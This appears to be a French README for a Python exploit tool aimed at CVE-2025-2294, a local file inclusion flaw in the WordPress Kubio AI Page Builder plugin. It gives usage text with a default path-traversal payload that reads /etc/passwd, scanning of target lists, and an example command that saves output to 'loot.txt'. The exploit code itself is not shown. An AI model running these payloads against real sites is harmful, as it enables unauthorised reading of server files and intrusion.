CVE-2025-2294 - WordPress Kubio AI Page Builder <= 2.5.1 - Exploit d'inclusion locale de fichiers (LFI)

Vue d'ensemble

CVE-2025-2294 affecte le plugin Kubio AI Page Builder pour WordPress (versions jusqu'à 2.5.1 incluse). Il souffre d'une vulnérabilité d'inclusion locale de fichiers (LFI) non authentifiée via la fonction thekubio_hybrid_theme_load_template.

Cette vulnérabilité permet à un attaquant d'inclure et d'exécuter des fichiers arbitraires sur le serveur WordPress vulnérable, ce qui peut conduire à :

Contourner les contrôles d'accès
Lire des fichiers sensibles du serveur
Exécution de code à distance (si l'attaquant peut téléverser des fichiers PHP malveillants déguisés en types de fichiers sûrs)

Détails de la vulnérabilité

Type de vulnérabilité : Inclusion locale de fichiers (LFI)
Plugin concerné : Kubio AI Page Builder
Versions concernées : ≤ 2.5.1
Vecteur d'attaque : Requête HTTP non authentifiée avec des paramètres forgés
Exploitabilité : Élevée
Score CVSS : 9.8 (Critique) [CNA : Wordfence]

Description du script d'exploit

Ce script Python envoie des requêtes HTTP GET spécialement conçues au site WordPress vulnérable pour vérifier s'il est vulnérable au problème LFI.

Fonctionnalités :

Tester une URL unique ou plusieurs cibles à partir d'un fichier.
Payload personnalisable pour l'inclusion de fichiers arbitraires (par défaut : /etc/passwd).
Enregistrer la réponse complète dans un fichier.
Aperçu des N premières lignes de la réponse pour une validation rapide.
Prise en charge du proxy HTTP.
Mode vérification uniquement pour le scan de vulnérabilités sans enregistrer la sortie.

Utilisation

usage: cve_2025_2294.py [-h] [--url URL] [--payload PAYLOAD] [--save SAVE]
                        [--lines LINES] [--timeout TIMEOUT] [--proxy PROXY]
                        [--check] [--list LIST]

CVE-2025-2294 LFI Exploit

optional arguments:
  -h, --help       show this help message and exit
  --url URL        Target URL (e.g., http://127.0.0.1:8080)
  --payload PAYLOAD
                   LFI payload path (default: ../../../../../../../../etc/passwd)
  --save SAVE      Save full response to file (optional)
  --lines LINES    Number of preview lines (default: 10)
  --timeout TIMEOUT
                   Request timeout in seconds (default: 10)
  --proxy PROXY    Proxy URL (e.g., http://127.0.0.1:8080)
  --check          Check vulnerability status only, no saving or preview
  --list LIST      Path to file with list of URLs to check one by one

Exemple avancé avec payload personnalisé, proxy et aperçu plus long :

python3 cve_2025_2294.py --url "http://192.168.1.10" --save loot.txt --lines 20 --payload /etc/passwd --timeout 10 --proxy "http://127.0.0.1:8080"

Requête/Réponse :

⚠️ Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins de recherche. Toute utilisation non autorisée contre des systèmes sans permission est illégale et contraire à l'éthique.

CVE-2025-2294

Populaires